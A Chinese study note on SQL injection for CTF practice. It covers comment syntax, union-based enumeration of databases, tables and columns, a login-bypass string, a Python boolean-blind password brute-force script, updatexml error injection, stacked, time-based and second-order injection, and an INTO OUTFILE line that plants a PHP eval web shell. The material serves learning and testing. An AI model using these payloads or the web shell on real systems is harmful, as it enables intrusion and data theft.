sql深入学习

文章目录

前言

这次学习建立在对数据库有基本的认识,了解基础的增删改查语句,数字型注入和字符型注入的基础上,进一步深入学习知识,并进行实战训练

知识学习

注释的两种形式

  1. #号,url编码用%23替代
  2. --空格

字符型注入

注入字符被引号包裹,需要采取一定的策略绕过,包括or截断,前面引号后面注释等

sql 复制代码
//eq:拼接sql语句查找指定ID用户
$sql = "select username,password from user 
where username !='flag' and id = '".$_GET['id']."' limit 1;";

显然需要传入id,假设传入id=1,那么我们得到的效果就是id='1',所以在这里需要构造语句来达到查询效果

在sql语句中,and运算符的优先级比or高,构造id=-1使username!='flag'失效,再构造or username='flag'达到查询效果。

payload:id=-1' or username='fla

如果返回逻辑继续优化,我们就需要用常规联合查询的步骤走

php 复制代码
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

首先,通过排序逻辑判断列数

id=1 order by 2(依据第二列排序,这个数字逐渐增加,直到报错为止,得到列数)

select 1,database() 得到数据库名称
select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名
select (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'),database() 得到列名
select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具体信息

在无过滤题目中,可以采取写入一句话木马再蚁剑连接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"

万能密码

假设我们的登录逻辑是user='a' and password='b',and逻辑的优先级比or高,所以如果前面的登录密码输错,那么一定是0,0 or 1的结果为1,所以就产生了万能密码,当然,在现在的网站中绝大部分都不会有这样的漏洞

c 复制代码
'or 1=1--

布尔盲注

注入没有明显的返回结果,注入成功页面正常,注入失败页面报错

猜测脚本

python 复制代码
import requests


url = "http://127.0.0.1/login.php"

string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""

for i in range(10):
	for s in string:
		data={
			"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#",
			"password":"ctfshow"
		}
		response = requests.post(url=url,data=data)
		if "登录成功" in response.text:
			password+=s
			break
		else:
			print(f"正在尝试第{i+1}位字符是否为{s}")


print("password is "+password)

报错注入

报错会返回信息,利用这一点拿到信息

updatexml函数强制报错,并可执行语句,带出语句的查询结果

c 复制代码
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

类似的,采用整数溢出报错,不存在函数报错等等也能达到同样的效果

堆叠注入

多个;号多个注入语句

拼接法绕过

eg:@a=sele,@b=ct,@payload=@a+@b

时间盲注

可以执行sql注入,但是不知道注入结果,甚至不知道注入了没

  • sleep函数获取延时信息
  • 笛卡尔积查询(查询大量数量达到一定时间的效果)
  • get_lock()函数延时法,针对数据库的长连接有效(php每次用完后就会断开连接,java维护数据库连接池,实现长连接)

二次注入

无法直接注入,但是可以把要注入的数据先放到数据库中,其他地方引用数据库中的的数据拼接语句时不再进行过滤

小技巧

表示数据时可以采用十六进制形式

无过滤题目可以采用写入shell,再蚁剑连接查看数据库

c 复制代码
1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
相关推荐
我的golang之路果然有问题34 分钟前
速成GO访问sql,个人笔记
经验分享·笔记·后端·sql·golang·go·database
genggeng不会代码35 分钟前
用于协同显著目标检测的小组协作学习 2021 GCoNet(总结)
学习
柏油43 分钟前
MySql InnoDB 事务实现之 undo log 日志
数据库·后端·mysql
搞机小能手1 小时前
六个能够白嫖学习资料的网站
笔记·学习·分类
DolphinScheduler社区1 小时前
白鲸开源WhaleStudio与崖山数据库管理系统YashanDB完成产品兼容互认证
数据库·开源·认证·崖山数据库·白鲸开源
阑梦清川1 小时前
AI超级智能体项目教程(二)---后端项目初始化(设计knif4j接口文档的使用)
java·前端·数据库
hotlinhao1 小时前
ThinkPHP6模型中多组条件逻辑或Or查询的使用
linux·服务器·数据库
jack xu12 小时前
高频面试题:如何保证数据库和es数据一致性
java·大数据·数据库·mysql·elasticsearch
Pocker_Spades_A2 小时前
金仓数据库征文-政务领域国产化数据库更替:金仓 KingbaseES 应用实践
数据库·政务·金仓数据库 2025 征文·数据库平替用金仓
XY.散人2 小时前
初识Redis · 哨兵机制
数据库·redis·缓存